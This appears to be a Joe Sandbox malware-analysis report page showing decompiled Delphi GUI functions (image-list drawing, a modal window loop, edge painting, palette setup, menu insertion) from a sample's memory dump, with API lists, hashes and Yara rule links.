Instruction ID: 1cd32b0f6ff788ec99b4709a940bb066e5a34e7de8ed8c126ebb648c0778d1ab
Opcode Fuzzy Hash: 87b3a71f9079227d247a2896a866b301fe7f18a0673de9bb9bc2366e42103626
Instruction Fuzzy Hash: 34F0F66479834074EA207764AC46F5F2A4C4700F1AF2047BFB124B41E397BC55C482AE

Uniqueness

Uniqueness Score: -1.00%

Function 0044A230, Relevance: 12.2, APIs: 8, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E0044A230(void* __eax, intOrPtr __ecx, intOrPtr __edx, void* __eflags, char _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v28;
				char _v44;
				void* __edi;
				void* __ebp;
				void* _t46;
				void* _t57;
				intOrPtr _t85;
				intOrPtr _t96;
				void* _t117;
				void* _t118;
				void* _t127;
				struct HDC__* _t136;
				struct HDC__* _t137;
				intOrPtr* _t138;
				void* _t139;

				_t119 = __ecx;
				_t135 = __ecx;
				_v8 = __edx;
				_t118 = __eax;
				_t46 = E004499F4(__eax);
				if(_t46 != 0) {
					_t142 = _a4;
					if(_a4 == 0) {
						__eflags =  *((intOrPtr*)(_t118 + 0x54));
						if( *((intOrPtr*)(_t118 + 0x54)) == 0) {
							_t138 = E00421BD8(1);
							 *((intOrPtr*)(_t118 + 0x54)) = _t138;
							E00422F70(_t138, 1);
							 *((intOrPtr*)( *_t138 + 0x40))();
							_t119 =  *_t138;
							 *((intOrPtr*)( *_t138 + 0x34))();
						}
						E0041D258( *((intOrPtr*)(E004221A0( *((intOrPtr*)(_t118 + 0x54))) + 0x14)), _t119, 0xffffff, _t135, _t139, __eflags);
						E00412810(0,  *((intOrPtr*)(_t118 + 0x34)), 0,  &_v44,  *((intOrPtr*)(_t118 + 0x30)));
						_push( &_v44);
						_t57 = E004221A0( *((intOrPtr*)(_t118 + 0x54)));
						_pop(_t127);
						E0041D5FC(_t57, _t127);
						_push(0);
						_push(0);
						_push(0xffffffff);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(E0041DA58(E004221A0( *((intOrPtr*)(_t118 + 0x54)))));
						_push(_v8);
						_push(E00449BC8(_t118));
						L00424668();
						E00412810(_a16, _a16 +  *((intOrPtr*)(_t118 + 0x34)), _a12,  &_v28, _a12 +  *((intOrPtr*)(_t118 + 0x30)));
						_v12 = E0041DA58(E004221A0( *((intOrPtr*)(_t118 + 0x54))));
						E0041D258( *((intOrPtr*)(_t135 + 0x14)), _a16 +  *((intOrPtr*)(_t118 + 0x34)), 0xff000014, _t135, _t139, __eflags);
						_t136 = E0041DA58(_t135);
						SetTextColor(_t136, 0xffffff);
						SetBkColor(_t136, 0);
						_push(0xe20746);
						_push(0);
						_push(0);
						_push(_v12);
						_push( *((intOrPtr*)(_t118 + 0x30)));
						_push( *((intOrPtr*)(_t118 + 0x34)));
						_push(_a12 + 1);
						_t85 = _a16 + 1;
						__eflags = _t85;
						_push(_t85);
						_push(_t136);
						L00406244();
						E0041D258( *((intOrPtr*)(_t135 + 0x14)), _a16 +  *((intOrPtr*)(_t118 + 0x34)), 0xff000010, _t135, _t139, _t85);
						_t137 = E0041DA58(_t135);
						SetTextColor(_t137, 0xffffff);
						SetBkColor(_t137, 0);
						_push(0xe20746);
						_push(0);
						_push(0);
						_push(_v12);
						_push( *((intOrPtr*)(_t118 + 0x30)));
						_push( *((intOrPtr*)(_t118 + 0x34)));
						_push(_a12);
						_t96 = _a16;
						_push(_t96);
						_push(_t137);
						L00406244();
						return _t96;
					}
					_push(_a8);
					_push(E004497F0(_t142));
					E0044A208(_t118, _t142);
					_push(E004497F0(_t142));
					_push(0);
					_push(0);
					_push(_a12);
					_push(_a16);
					_push(E0041DA58(__ecx));
					_push(_v8);
					_t117 = E00449BC8(_t118);
					_push(_t117);
					L00424668();
					return _t117;
				}
				return _t46;
			}

0x0044a230
0x0044a239
0x0044a23b
0x0044a23e
0x0044a242
0x0044a249
0x0044a24f
0x0044a253
0x0044a299
0x0044a29d
0x0044a2ab
0x0044a2ad
0x0044a2b4
0x0044a2c0
0x0044a2c8
0x0044a2ca
0x0044a2ca
0x0044a2dd
0x0044a2f1
0x0044a2f9
0x0044a2fd
0x0044a302
0x0044a303
0x0044a308
0x0044a30a
0x0044a30c
0x0044a30e
0x0044a310
0x0044a312
0x0044a314
0x0044a323
0x0044a327
0x0044a32f
0x0044a330
0x0044a34c
0x0044a35e
0x0044a369
0x0044a375
0x0044a37d
0x0044a385
0x0044a38a
0x0044a38f
0x0044a391
0x0044a396
0x0044a39a
0x0044a39e
0x0044a3a3
0x0044a3a7
0x0044a3a7
0x0044a3a8
0x0044a3a9
0x0044a3aa
0x0044a3b7
0x0044a3c3
0x0044a3cb
0x0044a3d3
0x0044a3d8
0x0044a3dd
0x0044a3df
0x0044a3e4
0x0044a3e8
0x0044a3ec
0x0044a3f0
0x0044a3f1
0x0044a3f4
0x0044a3f5
0x0044a3f6
0x00000000
0x0044a3f6
0x0044a258
0x0044a261
0x0044a264
0x0044a26e
0x0044a26f
0x0044a271
0x0044a276
0x0044a27a
0x0044a282
0x0044a286
0x0044a289
0x0044a28e
0x0044a28f
0x00000000
0x0044a28f
0x0044a401

APIs

73FC2430.COMCTL32(00000000,?,00000000,?,?,00000000,00000000,00000000,00000000,?), ref: 0044A28F
73FC2430.COMCTL32(00000000,?,00000000,00000000,00000000,00000000,00000000,000000FF,00000000,00000000), ref: 0044A330
SetTextColor.GDI32(00000000,00FFFFFF), ref: 0044A37D
SetBkColor.GDI32(00000000,00000000), ref: 0044A385
739F97E0.GDI32(00000000,?,?,?,?,00000000,00000000,00000000,00E20746,00000000,00000000,00000000,00FFFFFF,00000000,?,00000000), ref: 0044A3AA

Part of subcall function 0044A208: 73FC2240.COMCTL32(00000000,?,0044A269,00000000,?), ref: 0044A21E

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: C2430Color$C2240Text
String ID:
API String ID: 2203040910-0
Opcode ID: f5a3f708c8e20ab70ef18a3a084cfe1740a6bdd6481cff1e0820941a599a5ad8
Instruction ID: ac8e4694c67024ef0f8a2fdb2630897d4b22292f78906689a0f93523b0c8c221
Opcode Fuzzy Hash: f5a3f708c8e20ab70ef18a3a084cfe1740a6bdd6481cff1e0820941a599a5ad8
Instruction Fuzzy Hash: AB511971740104ABDB40FF69DDC2F9E37A8AF49304F50016AFA14EB386CA78EC519B69

Uniqueness

Uniqueness Score: -1.00%

Function 00459430, Relevance: 12.1, APIs: 8, Instructions: 144
windowCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E00459430(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				short _v22;
				intOrPtr _v28;
				struct HWND__* _v32;
				char _v36;
				intOrPtr _t50;
				intOrPtr _t56;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t68;
				intOrPtr _t70;
				intOrPtr _t80;
				intOrPtr _t82;
				intOrPtr _t85;
				void* _t90;
				intOrPtr _t122;
				void* _t124;
				void* _t127;
				void* _t128;
				intOrPtr _t129;

				_t125 = __esi;
				_t124 = __edi;
				_t105 = __ebx;
				_t127 = _t128;
				_t129 = _t128 + 0xffffffe0;
				_push(__ebx);
				_push(__esi);
				_v36 = 0;
				_v8 = __eax;
				_push(_t127);
				_push(0x4596f8);
				_push( *[fs:eax]);
				 *[fs:eax] = _t129;
				E0043B31C();
				if( *((char*)(_v8 + 0x57)) != 0 ||  *((intOrPtr*)( *_v8 + 0x50))() == 0 || ( *(_v8 + 0x2f4) & 0x00000008) != 0 ||  *((char*)(_v8 + 0x22f)) == 1) {
					_t50 =  *0x47e654; // 0x41aa9c
					E00405B24(_t50,  &_v36);
					E0040B5D8(_v36, 1);
					E004039FC();
				}
				if(GetCapture() != 0) {
					SendMessageA(GetCapture(), 0x1f, 0, 0);
				}
				ReleaseCapture();
				_t56 =  *0x47fbb8; // 0x2331714
				E0045B8D0(_t56);
				_push(_t127);
				_push(0x4596db);
				_push( *[fs:edx]);
				 *[fs:edx] = _t129;
				 *(_v8 + 0x2f4) =  *(_v8 + 0x2f4) | 0x00000008;
				_v32 = GetActiveWindow();
				_t60 =  *0x467d94; // 0x0
				_v20 = _t60;
				_t61 =  *0x47fbbc; // 0x2331320
				_t62 =  *0x47fbbc; // 0x2331320
				E00413CC0( *((intOrPtr*)(_t62 + 0x7c)),  *((intOrPtr*)(_t61 + 0x78)), 0);
				_t65 =  *0x47fbbc; // 0x2331320
				 *((intOrPtr*)(_t65 + 0x78)) = _v8;
				_t66 =  *0x47fbbc; // 0x2331320
				_v22 =  *((intOrPtr*)(_t66 + 0x44));
				_t68 =  *0x47fbbc; // 0x2331320
				E0045A900(_t68,  *((intOrPtr*)(_t61 + 0x78)), 0);
				_t70 =  *0x47fbbc; // 0x2331320
				_v28 =  *((intOrPtr*)(_t70 + 0x48));
				_v16 = E00453800(0, _t105, _t124, _t125);
				_push(_t127);
				_push(0x4596b9);
				_push( *[fs:edx]);
				 *[fs:edx] = _t129;
				E00459380(_v8);
				_push(_t127);
				_push(0x459618);
				_push( *[fs:edx]);
				 *[fs:edx] = _t129;
				SendMessageA(E004432A4(_v8), 0xb000, 0, 0);
				 *((intOrPtr*)(_v8 + 0x24c)) = 0;
				do {
					_t80 =  *0x47fbb8; // 0x2331714
					E0045C6DC(_t80, _t124, _t125);
					_t82 =  *0x47fbb8; // 0x2331714
					if( *((char*)(_t82 + 0x9c)) == 0) {
						if( *((intOrPtr*)(_v8 + 0x24c)) != 0) {
							E004592E0(_v8);
						}
					} else {
						 *((intOrPtr*)(_v8 + 0x24c)) = 2;
					}
					_t85 =  *((intOrPtr*)(_v8 + 0x24c));
				} while (_t85 == 0);
				_v12 = _t85;
				SendMessageA(E004432A4(_v8), 0xb001, 0, 0);
				_t90 = E004432A4(_v8);
				if(_t90 != GetActiveWindow()) {
					_v32 = 0;
				}
				_pop(_t122);
				 *[fs:eax] = _t122;
				_push(0x45961f);
				return E00459378();
			}

0x00459430
0x00459430
0x00459430
0x00459431
0x00459433
0x00459436
0x00459437
0x0045943a
0x0045943d
0x00459442
0x00459443
0x00459448
0x0045944b
0x0045944e
0x0045945a
0x00459483
0x00459488
0x00459497
0x0045949c
0x0045949c
0x004594a8
0x004594b6
0x004594b6
0x004594bb
0x004594c0
0x004594c5
0x004594cc
0x004594cd
0x004594d2
0x004594d5
0x004594db
0x004594e7
0x004594ea
0x004594ef
0x004594f2
0x004594fa
0x00459504
0x00459509
0x00459511
0x00459514
0x0045951d
0x00459523
0x00459528
0x0045952d
0x00459535
0x0045953f
0x00459544
0x00459545
0x0045954a
0x0045954d
0x00459553
0x0045955a
0x0045955b
0x00459560
0x00459563
0x00459578
0x00459582
0x00459588
0x00459588
0x0045958d
0x00459592
0x0045959e
0x004595b9
0x004595be
0x004595be
0x004595a0
0x004595a3
0x004595a3
0x004595c6
0x004595cc
0x004595d0
0x004595e5
0x004595ed
0x004595fb
0x004595ff
0x004595ff
0x00459604
0x00459607
0x0045960a
0x00459617

APIs

GetCapture.USER32 ref: 004594A1
GetCapture.USER32 ref: 004594B0
SendMessageA.USER32 ref: 004594B6
ReleaseCapture.USER32(00000000,004596F8), ref: 004594BB
GetActiveWindow.USER32 ref: 004594E2
SendMessageA.USER32 ref: 00459578
SendMessageA.USER32 ref: 004595E5
GetActiveWindow.USER32 ref: 004595F4

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CaptureMessageSend$ActiveWindow$Release
String ID:
API String ID: 862346643-0
Opcode ID: b78470a1856933aef1cd045e5281344b0329b531738622881ab93d508ec55bff
Instruction ID: 98398eaaf01051d6e6adf9e3fc73765236188b7c05f27fc061822e29fa981140
Opcode Fuzzy Hash: b78470a1856933aef1cd045e5281344b0329b531738622881ab93d508ec55bff
Instruction Fuzzy Hash: 94513F70A00204EFDB10EF65C956B9A77F5EF48705F1184BAF804AB3A2D778AE44CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004412E0, Relevance: 12.1, APIs: 8, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004412E0(void* __eax, void* __ecx, struct HDC__* __edx, void* __eflags, intOrPtr _a4) {
				int _v8;
				int _v12;
				int _v16;
				char _v20;
				struct tagRECT _v36;
				signed int _t54;
				intOrPtr _t59;
				int _t61;
				void* _t63;
				void* _t66;
				void* _t82;
				int _t98;
				struct HDC__* _t99;

				_t99 = __edx;
				_t82 = __eax;
				 *(__eax + 0x54) =  *(__eax + 0x54) | 0x00000080;
				_v16 = SaveDC(__edx);
				E0043B3F8(__edx, _a4, __ecx);
				IntersectClipRect(__edx, 0, 0,  *(_t82 + 0x48),  *(_t82 + 0x4c));
				_t98 = 0;
				_v12 = 0;
				if((GetWindowLongA(E004432A4(_t82), 0xffffffec) & 0x00000002) == 0) {
					_t54 = GetWindowLongA(E004432A4(_t82), 0xfffffff0);
					__eflags = _t54 & 0x00800000;
					if((_t54 & 0x00800000) != 0) {
						_v12 = 3;
						_t98 = 0xa00f;
					}
				} else {
					_v12 = 0xa;
					_t98 = 0x200f;
				}
				if(_t98 != 0) {
					SetRect( &_v36, 0, 0,  *(_t82 + 0x48),  *(_t82 + 0x4c));
					DrawEdge(_t99,  &_v36, _v12, _t98);
					E0043B3F8(_t99, _v36.top, _v36.left);
					IntersectClipRect(_t99, 0, 0, _v36.right - _v36.left, _v36.bottom - _v36.top);
				}
				E0043DC70(_t82, _t99, 0x14, 0);
				E0043DC70(_t82, _t99, 0xf, 0);
				_t59 =  *((intOrPtr*)(_t82 + 0x19c));
				if(_t59 == 0) {
					L12:
					_t61 = RestoreDC(_t99, _v16);
					 *(_t82 + 0x54) =  *(_t82 + 0x54) & 0x0000ff7f;
					return _t61;
				} else {
					_t63 =  *((intOrPtr*)(_t59 + 8)) - 1;
					if(_t63 < 0) {
						goto L12;
					}
					_v20 = _t63 + 1;
					_v8 = 0;
					do {
						_t66 = E00413C44( *((intOrPtr*)(_t82 + 0x19c)), _v8);
						_t107 =  *((char*)(_t66 + 0x57));
						if( *((char*)(_t66 + 0x57)) != 0) {
							E004412E0(_t66,  *((intOrPtr*)(_t66 + 0x40)), _t99, _t107,  *((intOrPtr*)(_t66 + 0x44)));
						}
						_v8 = _v8 + 1;
						_t36 =  &_v20;
						 *_t36 = _v20 - 1;
					} while ( *_t36 != 0);
					goto L12;
				}
			}

0x004412eb
0x004412ed
0x004412ef
0x004412fb
0x00441305
0x00441317
0x0044131c
0x00441320
0x00441335
0x0044134f
0x00441354
0x00441359
0x0044135b
0x00441362
0x00441362
0x00441337
0x00441337
0x0044133e
0x0044133e
0x00441369
0x0044137b
0x0044138a
0x00441397
0x004413af
0x004413af
0x004413bf
0x004413cf
0x004413d4
0x004413dc
0x0044141b
0x00441420
0x00441425
0x00441431
0x004413de
0x004413e1
0x004413e4
0x00000000
0x00000000
0x004413e7
0x004413ea
0x004413f1
0x004413fa
0x004413ff
0x00441403
0x0044140e
0x0044140e
0x00441413
0x00441416
0x00441416
0x00441416
0x00000000
0x004413f1

APIs

SaveDC.GDI32 ref: 004412F6

Part of subcall function 0043B3F8: GetWindowOrgEx.GDI32(?), ref: 0043B406
Part of subcall function 0043B3F8: SetWindowOrgEx.GDI32(?,?,?,00000000), ref: 0043B41C

IntersectClipRect.GDI32(?,00000000,00000000,?,?), ref: 00441317
GetWindowLongA.USER32 ref: 0044132D
GetWindowLongA.USER32 ref: 0044134F
SetRect.USER32 ref: 0044137B
DrawEdge.USER32(?,?,?,00000000), ref: 0044138A
IntersectClipRect.GDI32(?,00000000,00000000,?,?), ref: 004413AF
RestoreDC.GDI32(?,?), ref: 00441420

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Window$Rect$ClipIntersectLong$DrawEdgeRestoreSave
String ID:
API String ID: 2976466617-0
Opcode ID: 517e1c322ac89f149333acc1eb456740683015d5f090dd08a46c7c535c72622a
Instruction ID: d5c863caa0daf59cc0139a080aada71711ade1e58d7eb1c57f2da198d60b9a34
Opcode Fuzzy Hash: 517e1c322ac89f149333acc1eb456740683015d5f090dd08a46c7c535c72622a
Instruction Fuzzy Hash: 44416471B002146BEB10EFA9CC85F9F77B8AF45704F10416AFA05EB392DA79DD4187A8

Uniqueness

Uniqueness Score: -1.00%

Function 0041E390, Relevance: 12.1, APIs: 8, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E0041E390(void* __ebx) {
				intOrPtr _v8;
				char _v1000;
				char _v1004;
				char _v1032;
				signed int _v1034;
				short _v1036;
				void* _t24;
				intOrPtr _t25;
				intOrPtr _t27;
				intOrPtr _t29;
				intOrPtr _t45;
				intOrPtr _t52;
				void* _t54;
				void* _t55;

				_t54 = _t55;
				_v1036 = 0x300;
				_v1034 = 0x10;
				_t25 = E004028D0(_t24, 0x40,  &_v1032);
				_push(0);
				L004065DC();
				_v8 = _t25;
				_push(_t54);
				_push(0x41e48d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t55 + 0xfffffbf8;
				_push(0x68);
				_t27 = _v8;
				_push(_t27);
				L00406314();
				_t45 = _t27;
				if(_t45 >= 0x10) {
					_push( &_v1032);
					_push(8);
					_push(0);
					_push(_v8);
					L00406354();
					if(_v1004 != 0xc0c0c0) {
						_push(_t54 + (_v1034 & 0x0000ffff) * 4 - 0x424);
						_push(8);
						_push(_t45 - 8);
						_push(_v8);
						L00406354();
					} else {
						_push( &_v1004);
						_push(1);
						_push(_t45 - 8);
						_push(_v8);
						L00406354();
						_push(_t54 + (_v1034 & 0x0000ffff) * 4 - 0x420);
						_push(7);
						_push(_t45 - 7);
						_push(_v8);
						L00406354();
						_push( &_v1000);
						_push(1);
						_push(7);
						_push(_v8);
						L00406354();
					}
				}
				_pop(_t52);
				 *[fs:eax] = _t52;
				_push(0x41e494);
				_t29 = _v8;
				_push(_t29);
				_push(0);
				L0040681C();
				return _t29;
			}

0x0041e391
0x0041e39a
0x0041e3a3
0x0041e3b7
0x0041e3bc
0x0041e3be
0x0041e3c3
0x0041e3c8
0x0041e3c9
0x0041e3ce
0x0041e3d1
0x0041e3d4
0x0041e3d6
0x0041e3d9
0x0041e3da
0x0041e3df
0x0041e3e4
0x0041e3f0
0x0041e3f1
0x0041e3f3
0x0041e3f8
0x0041e3f9
0x0041e408
0x0041e464
0x0041e465
0x0041e46a
0x0041e46e
0x0041e46f
0x0041e40a
0x0041e410
0x0041e411
0x0041e418
0x0041e41c
0x0041e41d
0x0041e430
0x0041e431
0x0041e436
0x0041e43a
0x0041e43b
0x0041e446
0x0041e447
0x0041e449
0x0041e44e
0x0041e44f
0x0041e44f
0x0041e408
0x0041e476
0x0041e479
0x0041e47c
0x0041e481
0x0041e484
0x0041e485
0x0041e487
0x0041e48c

APIs

739EAC50.USER32(00000000), ref: 0041E3BE
739EAD70.GDI32(?,00000068,00000000,0041E48D,?,00000000), ref: 0041E3DA
739EAEF0.GDI32(?,00000000,00000008,?,?,00000068,00000000,0041E48D,?,00000000), ref: 0041E3F9
739EAEF0.GDI32(?,-00000008,00000001,00C0C0C0,?,00000000,00000008,?,?,00000068,00000000,0041E48D,?,00000000), ref: 0041E41D
739EAEF0.GDI32(?,00000000,00000007,?,?,-00000008,00000001,00C0C0C0,?,00000000,00000008,?,?,00000068,00000000,0041E48D), ref: 0041E43B
739EAEF0.GDI32(?,00000007,00000001,?,?,00000000,00000007,?,?,-00000008,00000001,00C0C0C0,?,00000000,00000008,?), ref: 0041E44F
739EAEF0.GDI32(?,00000000,00000008,?,?,00000000,00000008,?,?,00000068,00000000,0041E48D,?,00000000), ref: 0041E46F
739EB380.USER32(00000000,?,0041E494,0041E48D,?,00000000), ref: 0041E487

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: B380
String ID:
API String ID: 120756276-0
Opcode ID: 6c69387399f7c1187c786e027038da9ba88ace28e927be943032e62aa9884f3d
Instruction ID: 1355097c66d445391f56306a07f483fa8408260c670565f1322d6e687b244629
Opcode Fuzzy Hash: 6c69387399f7c1187c786e027038da9ba88ace28e927be943032e62aa9884f3d
Instruction Fuzzy Hash: A42186B5A40208BADB10DBA5CD81FAE73ACEB08704F5104A6FB04F71C1D6799E94CB29

Uniqueness

Uniqueness Score: -1.00%

Function 0044CB60, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 187
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E0044CB60(void* __eax, void* __ebx, char __ecx, struct HMENU__* __edx, void* __edi, void* __esi) {
				char _v5;
				char _v12;
				char _v13;
				struct tagMENUITEMINFOA _v61;
				char _v68;
				intOrPtr _t103;
				CHAR* _t109;
				char _t115;
				short _t149;
				void* _t154;
				intOrPtr _t161;
				intOrPtr _t184;
				struct HMENU__* _t186;
				int _t190;
				void* _t192;
				intOrPtr _t193;
				void* _t196;
				void* _t205;

				_t155 = __ecx;
				_v68 = 0;
				_v12 = 0;
				_v5 = __ecx;
				_t186 = __edx;
				_t154 = __eax;
				_push(_t196);
				_push(0x44cdbb);
				_push( *[fs:eax]);
				 *[fs:eax] = _t196 + 0xffffffc0;
				if( *((char*)(__eax + 0x3e)) == 0) {
					L22:
					_pop(_t161);
					 *[fs:eax] = _t161;
					_push(0x44cdc2);
					E00403FC0( &_v68);
					return E00403FC0( &_v12);
				}
				E00404058( &_v12,  *((intOrPtr*)(__eax + 0x30)));
				if(E0044EADC(_t154) <= 0) {
					__eflags =  *((short*)(_t154 + 0x60));
					if( *((short*)(_t154 + 0x60)) == 0) {
						L8:
						if((GetVersion() & 0x000000ff) < 4) {
							_t190 =  *(0x467d14 + ((E004043CC( *((intOrPtr*)(_t154 + 0x30)), 0x44cde0) & 0xffffff00 | __eflags == 0x00000000) & 0x0000007f) * 4) |  *0x00467D08 |  *0x00467CF8 |  *0x00467D00 | 0x00000400;
							_t103 = E0044EADC(_t154);
							__eflags = _t103;
							if(_t103 <= 0) {
								InsertMenuA(_t186, 0xffffffff, _t190,  *(_t154 + 0x50) & 0x0000ffff, E00404480(_v12));
							} else {
								_t109 = E00404480( *((intOrPtr*)(_t154 + 0x30)));
								InsertMenuA(_t186, 0xffffffff, _t190 | 0x00000010, E0044D070(_t154), _t109);
							}
							goto L22;
						}
						_v61.cbSize = 0x2c;
						_v61.fMask = 0x3f;
						_t192 = E0044F098(_t154);
						if(_t192 == 0 ||  *((char*)(_t192 + 0x40)) == 0 && E0044E6B4(_t154) == 0) {
							if( *((intOrPtr*)(_t154 + 0x4c)) == 0) {
								L14:
								_t115 = 0;
								goto L16;
							}
							_t205 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t154 + 0x4c)))) + 0x1c))();
							if(_t205 == 0) {
								goto L15;
							}
							goto L14;
						} else {
							L15:
							_t115 = 1;
							L16:
							_v13 = _t115;
							_v61.fType =  *(0x467d48 + ((E004043CC( *((intOrPtr*)(_t154 + 0x30)), 0x44cde0) & 0xffffff00 | _t205 == 0x00000000) & 0x0000007f) * 4) |  *0x00467D40 |  *0x00467D1C |  *0x00467D50 |  *0x00467D58;
							_v61.fState =  *0x00467D28 |  *0x00467D38 |  *0x00467D30;
							_v61.wID =  *(_t154 + 0x50) & 0x0000ffff;
							_v61.hSubMenu = 0;
							_v61.hbmpChecked = 0;
							_v61.hbmpUnchecked = 0;
							_v61.dwTypeData = E00404480(_v12);
							if(E0044EADC(_t154) > 0) {
								_v61.hSubMenu = E0044D070(_t154);
							}
							InsertMenuItemA(_t186, 0xffffffff, 0xffffffff,  &_v61);
							goto L22;
						}
					}
					_t193 =  *((intOrPtr*)(_t154 + 0x64));
					__eflags = _t193;
					if(_t193 == 0) {
						L7:
						_push(_v12);
						_push(0x44cdd4);
						E0044C1C4( *((intOrPtr*)(_t154 + 0x60)), _t154, _t155,  &_v68, _t193);
						_push(_v68);
						E00404340();
						goto L8;
					}
					__eflags =  *((intOrPtr*)(_t193 + 0x64));
					if( *((intOrPtr*)(_t193 + 0x64)) != 0) {
						goto L7;
					}
					_t184 =  *0x44ba54; // 0x44baa0
					_t149 = E004033FC( *((intOrPtr*)(_t193 + 4)), _t184);
					__eflags = _t149;
					if(_t149 != 0) {
						goto L8;
					}
					goto L7;
				}
				_v61.hSubMenu = E0044D070(_t154);
				goto L8;
			}

0x0044cb60
0x0044cb6b
0x0044cb6e
0x0044cb71
0x0044cb74
0x0044cb76
0x0044cb7a
0x0044cb7b
0x0044cb80
0x0044cb83
0x0044cb8a
0x0044cd9d
0x0044cd9f
0x0044cda2
0x0044cda5
0x0044cdad
0x0044cdba
0x0044cdba
0x0044cb96
0x0044cba4
0x0044cbb2
0x0044cbb7
0x0044cbfc
0x0044cc0a
0x0044cd56
0x0044cd5e
0x0044cd63
0x0044cd65
0x0044cd98
0x0044cd67
0x0044cd6a
0x0044cd7f
0x0044cd7f
0x00000000
0x0044cd65
0x0044cc10
0x0044cc17
0x0044cc25
0x0044cc29
0x0044cc40
0x0044cc4e
0x0044cc4e
0x00000000
0x0044cc4e
0x0044cc4a
0x0044cc4c
0x00000000
0x00000000
0x00000000
0x0044cc52
0x0044cc52
0x0044cc52
0x0044cc54
0x0044cc54
0x0044cca3
0x0044ccca
0x0044ccd1
0x0044ccd6
0x0044ccdb
0x0044cce0
0x0044cceb
0x0044ccf7
0x0044cd00
0x0044cd00
0x0044cd0c
0x00000000
0x0044cd0c
0x0044cc29
0x0044cbb9
0x0044cbbc
0x0044cbbe
0x0044cbd8
0x0044cbd8
0x0044cbdb
0x0044cbe7
0x0044cbec
0x0044cbf7
0x00000000
0x0044cbf7
0x0044cbc0
0x0044cbc4
0x00000000
0x00000000
0x0044cbc9
0x0044cbcf
0x0044cbd4
0x0044cbd6
0x00000000
0x00000000
0x00000000
0x0044cbd6
0x0044cbad
0x00000000

APIs

InsertMenuItemA.USER32(?,000000FF,000000FF,0000002C), ref: 0044CD0C
GetVersion.KERNEL32(00000000,0044CDBB), ref: 0044CBFC

Part of subcall function 0044D070: CreatePopupMenu.USER32(?,0044CD77,00000000,00000000,0044CDBB), ref: 0044D08B

Strings

,, xrefs: 0044CC10
?, xrefs: 0044CC17

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Menu$CreateInsertItemPopupVersion
String ID: ,$?
API String ID: 133695497-2308483597
